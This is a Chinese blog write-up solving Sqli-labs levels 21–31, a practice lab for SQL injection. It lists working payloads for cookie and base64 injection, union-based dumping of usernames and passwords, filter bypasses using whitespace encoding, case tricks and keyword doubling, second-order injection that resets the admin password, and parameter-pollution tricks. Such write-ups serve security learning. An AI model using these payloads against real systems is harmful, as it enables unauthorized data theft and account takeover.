zoukankan      html  css  js  c++  java
  • Sqli-labs闯关题21-31题,详细解答。

    第二十一关:Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

     

    base64编码,单引号,报错型,cookie型注入。

     

    本关和less-20相似,只是cookie的uname值经过base64编码了,因此我们需要一个解码工具,我这里有一个在线解码网页:https://base64.us/  很好用的:

     

     

     

     

     

     怎么确定cookie加密了呐,我们直接用账户密码 admin登陆一下就可以看到:

     

     

    看到cookie是YWRtaW4%3D ,和页面显示不一样,但是明显%3D 是=号urldecode的结果,接下来构造paylaod进行测试

     接下来的步骤都是一样的,只不过我们输入的需要是经过加密的语句:

    admin' and 1=1 --+ //明文

    YWRtaW4nIGFuZCAxPTEgLS0r //密文

     经过返回的提示,我们发现是丹壹号单括号型的:‘)

    实例爆库:

    -admin') union select 1,2,database()#

    LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

     

     好了,接下来我们只需要将语句一一转化,直接输入就可以了。结束!

     

    第二十二关:Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入

    base64编码,双引号,报错型,cookie型注入。

    这一关和上一关基本一样,只不过是数据包裹类型不一样。这个是双引号:“”-

    爆库名:

    admin" union select 1,2,database()# 

    LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

     

     -admin" union select 1,2,group_concat(username,0x3a,password) from users#= 

    这是base64码  :

     ICAtYWRtaW4iIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gdXNlcnMjPSA=

     不多说了!

    接下来就要进入变形练习了!

    第二十三关:GET - Error based - strip comments (基于错误的,过滤注释的GET型)

    乍一看和第一关很相似,但这里#--+均被过滤了,但是可以我们利用 %00或者and和or "1"="1来闭合后面的双引号也。

     

     

     

     

     

    所以重新构造语句:

    爆库:?id=' union select 1,2,database() '

    爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

    爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

    爆值:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

     

     

     注入完成!

     第二十四关:Second Degree Injections  *Real treat* -Store Injections (二次注入)

    这一关看起来好像很有意思的样子,到底是怎磨回事呐!来看看吧1

     

     

     首先,这是一个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以用自己的密码修改admin的密码了,

    Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
    也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

    注册:

     

     

     

     登录:用admin‘#     密码:123456

     

     

     修改密码: 123456,显示成功。

     

     

     

     

     

     用admin和修改后的密码登录,成功进入。

     

     

     第二十五关:Trick with OR & AND (过滤了or和and)

    这一关上来就告诉我们过滤了or和and

    我们在这里介绍两种方法:

    方法一,-就是用--+ #这种一般注入。

    ?id=-1' union select 1,2,database()--+

     

     

    方法二,双写or或and绕过

    测试payload

    ?id=0' oorr 1=1 --+

    ?id=2' aandnd 1=1 --+

    有必要说一下这题在爆值的时候对password进行了处理,查询password列,回显no column passwd,所以双写or绕过

    同理information也是。

    样例paload

    ?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

     

     

     or and形成闭合语句,不再多说。

    第二十五A关:a Trick with OR & AND Blind (过滤了or和and的盲注)

    还是过滤了or  and

    进过测试发现是数字型注入:

     

     

     

     

     

     不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。

    既然是盲注,还有联合注入、时间延时注入,这两种都能做题。

      ?id=-1 || if(length(database())=8,1,sleep(3))#  

    ?id=-1 union select 1,2,database()#

     

     

     第二十六关:(failed) Trick with comments and space (过滤了注释和空格的注入)  

    题目提示空格与注释被过滤了,使用可以%0a绕过,可以盲注也可以报错注入

     

     

     

     

     

    方法:or可以用||替换    and可以用&&      注释符用;%00替代   空格用%a0替代

     

     %09 TAB键(水平)  %0a 新建一行  %0c 新的一页   %0d return功能   %0b TAB键(垂直)   %a0 空格     %27单引号

    用'1'='1进行闭合(注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)

    确定显示位  :

    ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

    爆库名:   ?id=0'union%a0select%a01,database(),3%26%26'1'='1

     查表名  ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

     

     

     

     爆列名    ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1


     爆用户名密码   ?id=0'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1(这里不同的是后面多了where '1'='1,是为了让语句变成无约束查询)

     还有一种就是用连接符结合xpath报错获取信息    ?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'

     盲注方法:     ?id=0'||left(database(),1)='s'%26%26'1'='1

     第二十六a关GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

    这关与上一关的区别在于,在后面加上了括号进行闭合,同时在sql语句执行抛出错误后并不在前台页面输出。所以我们排除报错注入,这里依旧是利用union注入

    获取数据库名                       ?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

    爆表名     ?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

    爆列名      ?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

    爆用户名密码  ?id=100')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

    第二十七关GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

     这一关感觉更不妙了,连空格都过滤了。

     

     

    过滤关键字:

     所以我们就用URL编码和大小写进行绕过,其他和上一关一样

    爆库名    ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

    爆表名     ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

    爆列名     ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

    爆用户名密码   ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

    获得用户名密码

     第二十七a关GET - Blind Based- All your UNION & SELECT belong to us(盲注版本,双引号型的)

    和第二十七关一样,就是把单引号闭合变成双引号闭合了 

    验证一下:  ?id=0"%A0or(1)=(1)%26%26%a0"1

     获得用户名密码:

     ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3    

     获得数据库长度   ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3

    获得数据库名    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

    爆表名(查表面需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&(%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况)

    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

    爆列名        ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

    爆用户名密码      ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3    

    第二十八关GET - Error Based- All your UNION & SELECT belong to us String-Single quote without parenthesis基于错误的,单引号字符型,过滤了union和select等的注入

    这关在之前的技术上,加上了union和select的大小写也过滤了,都不能用了

    我们直接用盲注,进行测试,一点一点试,实在没办法了。

    ?id=0'||left(database(),1)='s'%26%26'1'='1

     

     

     爆数据库名:

      ?id=0')UNion%a0SElect%a01,database(),('13')=('13

     

     

     

     第二十八a关GET - Bind Based- All your UNION & SELECT belong to us String-Double quote without parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入

     爆数据库名       ?id=0')UNion%a0SElect%a01,database(),('13')=('13

     爆表名     ?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('13')=('13

     爆列名     ?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('13')=('13

    爆用户名和密码     ?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('13')=('13

     当然除了联合查询语句还可以   盲注    0')||left((database()),1)='s';%00

    第二十九关基于WAF的一个错误,基于错误-GET-双服务器-单引号-字符型注入

    测试:输入双引号正常,输入一个引号发生错误,两个引号正常

    那么语句可能是 select * from users where id='xx' limit 1,1

     爆数据库名:发现出来了

     爆表名   ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

    爆列名     ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

    爆用户名和密码     ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

    方法二:

    利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
    ?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
    获得表名    ?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

    第三十关基于错误的GET型双引号字符型注入     基于错误_GET_双服务器_双引号_字符型_盲注*

     这关和上一关相似,就是把单引号换成了双引号,就不多说了。

    爆用户名密码     ?id=-1“ union select 1,2,group_concat(username,0x7e,password) from users

     也可以利用tomcat与apache解析相同请求参数不同的特性

    ?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

    第三十一关:Protection with WAF  基于错误_GET_双服务器_双引号_小括号_字符型注入

    这一关也差不多,只不过是将变成了带括号的双引号:(“”)

    ?id=-1")union select 1,2,database() --+

    考虑到参数污染,我们也可一这样使用:

    ?id=1&id=-1")union select 1,2,database() --+

     

     

     爆数值:?id=-1")union select 1,2,group_concat(username,0x7e,password) from users--+

     

     

     

     

     

     

     

     

     

      

     

    sqli-lab教程——1-35通关Writeup

    SQL注入靶场sqli-labs 1-65关全部通关教程

     sqli-labs(less1-less22)

     sqli-labs实战记录(一)

    SQLi_Labs通关文档【1-65关】

     

    这个世界你真美好
  • 相关阅读:
    c# yield关键字原理详解
    Linux环境基于CentOS7 搭建部署Docker容器
    关于c#中委托使用小结
    推荐一本好的c#高级程序设计教程
    WEB网站常见受攻击方式及解决办法
    判断URL是否存在
    提升高并发量服务器性能解决思路
    分享asp.net学习交流社区
    js中对arry数组的各种操作小结
    jQuery动态实现title的修改 失效问题
  • 原文地址:https://www.cnblogs.com/li2019/p/12371783.html
Copyright © 2011-2022 走看看